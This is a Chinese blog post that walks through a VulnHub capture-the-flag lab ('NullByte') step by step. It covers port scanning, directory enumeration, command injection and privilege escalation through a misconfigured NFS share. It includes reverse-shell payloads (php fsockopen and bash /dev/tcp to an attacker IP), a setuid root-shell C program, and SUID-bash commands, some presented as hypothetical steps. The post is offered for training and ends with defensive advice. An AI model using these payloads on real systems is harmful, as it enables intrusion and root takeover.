三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

红队实战:从信息收集到权限提升的完整渗透测试流程解析

红队实战:从信息收集到权限提升的完整渗透测试流程解析

1. 从“圆形激光打靶”到渗透测试实战:一次完整的红队演练复盘

最近在社区里看到“圆形激光打靶”这个词挺火,它描述的是一种精准、聚焦的靶向训练。这让我立刻联想到了我们红队日常的渗透测试演练——本质上,我们也是在信息安全的“靶场”里,用各种“武器”去精准命中目标系统的弱点。今天,我想复盘一次非常经典的实战演练:针对VulnHub平台上的“NullByte”靶机的完整打靶过程。这不仅仅是一个CTF(Capture The Flag)挑战,更是一次对红队基础信息收集、漏洞利用、权限提升全流程的绝佳模拟。无论你是刚接触网络安全的新手,还是想巩固基础的老兵,这次复盘都能让你对“打靶”这件事有更具体、更深刻的理解。NullByte靶机以其清晰的路径和层层递进的难度,成为了无数安全爱好者入门内网渗透的“必修课”。接下来,我会带你一步步拆解我的攻击链,并分享其中那些容易被忽略却又至关重要的细节。

2. 靶场环境搭建与初始信息收集

在开始任何攻击之前,搭建一个隔离、可控的测试环境是第一步,也是安全从业者的基本素养。我使用VMware Workstation作为虚拟化平台,将下载好的NullByte靶机OVA文件导入,并将网络适配器设置为“NAT模式”或“仅主机模式”。这样能确保靶机与我的物理主机处于同一虚拟网络内,同时与外部互联网隔离,避免意外影响。我的攻击机是一台运行Kali Linux的虚拟机,同样置于同一网络段。启动双方后,第一件事不是盲目扫描,而是先搞清楚目标在哪里。

2.1 确定目标IP:不止于netdiscover

很多教程会直接让你用netdiscovernmap扫描整个网段。这没问题,但我们可以更优雅。首先,我检查了Kali自身的IP(ip a),假设是192.168.111.128。那么,靶机很可能在同一个C段(192.168.111.0/24)内。此时,一个快速的方法是使用arp-scan

sudo arp-scan -l --interface eth0

这个命令能列出本地网络中所有活跃设备的IP和MAC地址,响应速度通常比netdiscover更快,结果也更干净。很快,我发现了一个新的IP:192.168.111.135,其MAC地址前缀与VMware虚拟机的常见厂商标识符(如00:0c:29)吻合,基本可以确定这就是NullByte靶机。

2.2 端口扫描的艺术:用nmap绘制攻击面地图

拿到IP后,全面的端口扫描是绘制目标攻击面的关键。我从不满足于一个简单的-sS(SYN扫描)。针对这种CTF靶机,我习惯使用一个组合拳命令:

sudo nmap -sS -sV -sC -O -p- -T4 192.168.111.135 -oA nullbyte_initial

这个命令分解开来,每个参数都有其战略意图:

  • -sS:TCP SYN扫描。半开放扫描,速度快且相对隐蔽,是默认的扫描方式。
  • -sV:版本探测。识别开放端口上运行的服务及其具体版本号,这是寻找已知漏洞的关键。
  • -sC:使用默认脚本扫描。Nmap自带一套强大的NSE脚本,能进行更深入的探测,如检查HTTP标题、枚举SMB共享等,有时能直接发现低垂果实。
  • -O:操作系统探测。通过分析TCP/IP协议栈指纹来猜测目标操作系统,有助于后续选择匹配的漏洞利用代码。
  • -p-:扫描所有65535个端口。这是最重要的习惯之一!很多隐蔽服务(如管理后台、API接口)可能开在高位端口,默认的-sS只扫1000个常见端口,会让你错过重要入口。
  • -T4:设置扫描速度为4级(较快)。在可控的靶场环境中,可以适当提高速度以节省时间。
  • -oA nullbyte_initial:以三种格式(normal, XML, grepable)输出结果到文件,便于后续分析和存档。

扫描结果通常不会让人失望。对于NullByte,我们大概率会发现两个关键端口:

  • 80/tcp:HTTP服务。这是我们的主攻方向,一个Web应用。
  • 111/tcp:rpcbind服务。这是一个远程过程调用端口绑定服务,常与NFS(网络文件系统)等服务关联。这为我们后续的权限提升埋下了一个重要的伏笔。

注意:在实际的授权渗透测试中,-p-全端口扫描和-T4高速扫描可能会触发目标的入侵检测系统(IDS/IPS)。需要根据测试规则(ROE)调整策略,可能采用更慢速、更分散的扫描方式。但在VulnHub这类学习靶场,我们可以放心使用。

3. Web应用渗透:从目录枚举到命令执行

确定了Web服务(80端口)作为首要入口,我们的渗透测试流程便进入了最经典的环节:Web应用安全评估。

3.1 目录与文件枚举:不只是gobuster

看到HTTP服务,新手可能会直接打开浏览器访问。而老手的第一个动作往往是启动目录爆破工具。我常用gobuster,但参数配置有讲究:

gobuster dir -u http://192.168.111.135 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js -t 50
  • -w:指定字典。common.txt是个不错的起点,但针对PHP靶机(如NullByte),我有时会额外使用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,它更全面。
  • -x:指定尝试的文件扩展名。php是必须的,txthtml也常见,js文件有时会泄露API路径或敏感信息。
  • -t 50:设置线程数。提高线程可以加快速度,但可能被WAF拦截或导致请求不完整,需要根据目标响应情况调整。

在NullByte的扫描结果中,我们很可能会发现一些有趣的路径,例如/phpmyadmin//admin//uploads/等。但最关键的一个发现往往是/kzMb5nVYJw/这类看似随机的目录。这种目录命名方式在CTF中很常见,旨在模拟通过信息泄露(如源码注释、旧备份文件)发现的隐藏资源。

3.2 源代码分析与参数挖掘

访问这个随机目录(例如http://192.168.111.135/kzMb5nVYJw/),我们可能会看到一个简单的页面,或者直接是目录列表,里面包含了一个PHP文件,比如index.php。查看页面源代码(Ctrl+U)是必须的步骤。在这里,我们极有可能在HTML注释中发现宝藏。

假设我们在注释中看到类似这样的提示:

<!-- TODO: Remove this before production. Parameter ?key= for testing. -->

或者,在页面的表单、链接中,发现一个名为key的参数。例如,页面URL可能显示为index.php?key=test,或者表单提交的字段是key。这个key参数,就是我们的突破口。它很可能用于传递某个值,并由后端PHP脚本进行处理。

3.3 命令注入漏洞的发现与利用

接下来就是测试这个key参数是否存在漏洞。我们使用Burp Suite的Repeater模块,或者直接在浏览器地址栏、使用curl命令进行测试。首先尝试正常的输入,观察回显。然后,尝试注入特殊字符和命令分隔符。

  1. 基础测试?key=test。页面正常显示test相关的内容。

  2. 命令分隔符测试:在Linux/PHP环境中,分号;、反引号`$()、管道符|&&||等都可能是命令注入的点。尝试?key=test;id

    • 如果页面回显中包含了当前用户的uidgid信息(例如uid=33(www-data) gid=33(www-data) groups=33(www-data)),那么恭喜你,一个命令注入漏洞被证实了。这意味着后端代码可能使用了system()exec()passthru()或反引号等函数,并且没有对用户输入进行过滤。
  3. 建立反向Shell:证明漏洞存在后,我们需要获得一个交互式的Shell。最常用的方法是使用netcat建立反向Shell。首先在攻击机(Kali)上监听一个端口:

    nc -lvnp 4444

    然后,向靶机的漏洞参数注入一个连接回我们攻击机的命令。由于参数可能在URL中传递,我们需要对命令进行URL编码。一个经典的反向Shell payload是:

    ?key=test;php -r '$sock=fsockopen("192.168.111.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

    或者使用bash

    ?key=test;bash -c 'bash -i >& /dev/tcp/192.168.111.128/4444 0>&1'

    注入后,观察Kali上的nc监听器,如果成功,你会看到一个来自靶机的Shell连接,提示符可能变为www-data@nullbyte:/var/www/html/kzMb5nVYJw$。这标志着我们成功突破了Web应用边界,在目标服务器上获得了初始立足点(Initial Foothold),并且权限是Web服务运行用户(通常是www-data)。

实操心得:在测试命令注入时,如果分号;被过滤或转义,可以尝试换行符%0a(URL编码)的注入。有时,&|也能起到类似作用。多备几种payload进行测试。另外,使用Burp Suite的Intruder模块,加载命令注入的测试字典,可以系统性地进行模糊测试。

4. 权限提升:从www-data到root

获得www-data的Shell只是第一步,权限很低,无法读取/root目录下的flag(目标文件)。我们需要将权限提升到root,这个过程称为权限提升(Privilege Escalation)。

4.1 系统信息收集

在拿到任何一个Shell后,不要急着乱跑。首先进行系统的“体检”,收集一切可能有助于提权的信息。我有一套固定的检查命令清单:

  • 系统与内核信息uname -a(查看内核版本,寻找内核漏洞)。cat /etc/issuecat /etc/*release(查看发行版信息)。
  • 用户与权限id(当前用户详细信息)。sudo -l非常关键!查看当前用户能以sudo身份运行哪些命令,如果配置不当,可能直接提权)。cat /etc/passwd(查看所有用户)。cat /etc/shadow(尝试读取密码哈希,需要root权限)。
  • 进程与服务ps auxps -ef(查看所有进程,寻找以root身份运行的服务或异常进程)。netstat -tulpnss -tulpn(查看网络连接和监听端口,确认内部服务)。
  • 计划任务crontab -l(查看当前用户的计划任务)。ls -la /etc/cron*cat /etc/crontab(查看系统级计划任务,如果有自定义任务且权限配置不当,可用来提权)。
  • SUID/GUID文件find / -type f -perm -4000 -o -perm -2000 2>/dev/null(查找设置了SUID或GUID位的文件,这些文件执行时会以文件所有者或所属组的权限运行,是经典的提权向量)。
  • 可写文件与目录find / -writable -type d 2>/dev/null(查找全局可写目录)。特别是检查/tmp/var/tmp以及Web目录。

在NullByte靶机上,运行sudo -l后,我们可能会失望地发现www-data用户并没有sudo权限。这是常态。那么,我们的注意力就要转向其他发现。

4.2 利用NFS配置不当进行提权

回顾我们最初的nmap扫描,111端口(rpcbind)的存在提示我们NFS服务可能正在运行。我们可以用showmount命令来验证:

showmount -e 192.168.111.135

如果返回类似/tmp *(rw,sync,no_root_squash,no_subtree_check)的信息,那么一个绝佳的提权机会就出现了。

这里需要理解几个关键选项:

  • rw:读写权限。
  • no_root_squash这是最危险的配置。默认情况下,当root用户从客户端访问NFS共享时,服务器会将其“压缩”(squash)为匿名用户(如nobody)。而no_root_squash禁用了这个保护,意味着客户端上的root用户在访问共享时,在服务器上依然拥有root权限。
  • sync:同步写入。

利用步骤:

  1. 在攻击机(Kali)上,创建一个挂载点并挂载靶机的NFS共享:
    mkdir /mnt/nullbyte_nfs mount -t nfs 192.168.111.135:/tmp /mnt/nullbyte_nfs
  2. 由于共享配置了no_root_squash,我们在攻击机上以root身份(在Kali中,使用sudo su切换到root)进行的操作,在靶机的/tmp目录下也会以root权限生效。
  3. 我们计划在靶机上创建一个具有SUID权限的bash副本。首先,在攻击机的挂载目录(即靶机的/tmp)下编译一个简单的C程序,或者直接复制/bin/bash。这里以复制bash为例:
    # 在攻击机上操作,确保已在/mnt/nullbyte_nfs目录下 cp /bin/bash . chown root:root bash # 将所有者改为root chmod 4755 bash # 设置SUID位(rwsr-xr-x)
    chmod 4755中的4代表设置SUID位。执行后,文件权限变为-rwsr-xr-x,其中的s就是SUID标志。
  4. 现在,回到靶机的www-dataShell中。进入/tmp目录,你会发现我们刚刚放置的bash文件已经在那里了。
  5. 执行这个bash文件:./bash -p。参数-p告诉bash在启动时保留(preserve)当前的有效用户ID(即root),而不是还原为真实用户ID(www-data)。
  6. 执行id命令验证,如果显示uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data),说明有效用户ID(euid)已经是root,提权成功!现在你可以访问/root目录并读取最终的flag文件了。

踩坑记录:有时直接复制/bin/bash可能会因为环境或bash版本问题导致执行失败。更稳健的方法是编写一个简单的C程序,编译后设置SUID。例如,创建一个shell.c文件,内容为:

#include <stdio.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }

在攻击机上用gcc shell.c -o shell编译,再将编译好的shell二进制文件复制到NFS共享目录,并设置SUID权限。在靶机上执行./shell,同样可以获得root shell。这种方法兼容性更好。

5. 总结与拓展思考

至此,我们对NullByte靶机的渗透演练就完成了。整个流程清晰地展示了一个标准的、由外到内的攻击链:信息收集 -> Web渗透(命令注入)-> 初始立足(www-data shell)-> 内部枚举(发现NFS)-> 权限提升(利用no_root_squash)-> 获取最终目标(root flag)

这个靶机虽然难度不高,但它完美地串联了多个基础且关键的知识点。在真实的红队评估或渗透测试中,每个环节都可能遇到更复杂的对抗和防护:

  • 信息收集阶段:目标可能没有暴露任何Web服务,或者端口被防火墙严格过滤。这时需要转向其他协议(如SMB、SSH)或进行子域名枚举、云资产发现。
  • 漏洞利用阶段:命令注入漏洞在如今成熟的WAF防护下已较少见,更多的是逻辑漏洞、反序列化、SSRF或需要身份认证的SQL注入。漏洞利用的方式也从简单的命令执行,变成了复杂的链式攻击。
  • 权限提升阶段no_root_squash的NFS配置在真实生产环境中属于低级错误,但SUID/GUID文件、配置错误的sudo规则、内核漏洞(如Dirty Pipe、Dirty Cow)、敏感服务(如Docker、Redis)的滥用、以及利用计划任务(Cron)或系统服务(systemd)进行持久化/提权,都是需要熟练掌握的常规手段。

我个人在每次打靶后,习惯做两件事:一是详细记录完整的操作命令、中间输出和思考过程,形成自己的“作战笔记”;二是尝试用不同的方法达到同一目标。例如,在NullByte中,除了NFS提权,是否还存在其他路径?是否可以尝试内核漏洞?通过这种多路径探索,能极大地加深对系统安全机制的理解。

最后,我想强调的是,打靶的目的不是为了“通关”,而是为了理解攻击者视角下的系统弱点,从而在防御端构建更立体的安全体系。每一次成功的渗透,都应该对应到防御策略的加固:对用户输入进行严格的过滤和验证、遵循最小权限原则配置服务、定期进行安全配置审计和漏洞扫描。希望这次对NullByte靶机的深度复盘,能为你点亮红队实战之路上的又一盏灯。

← 返回列表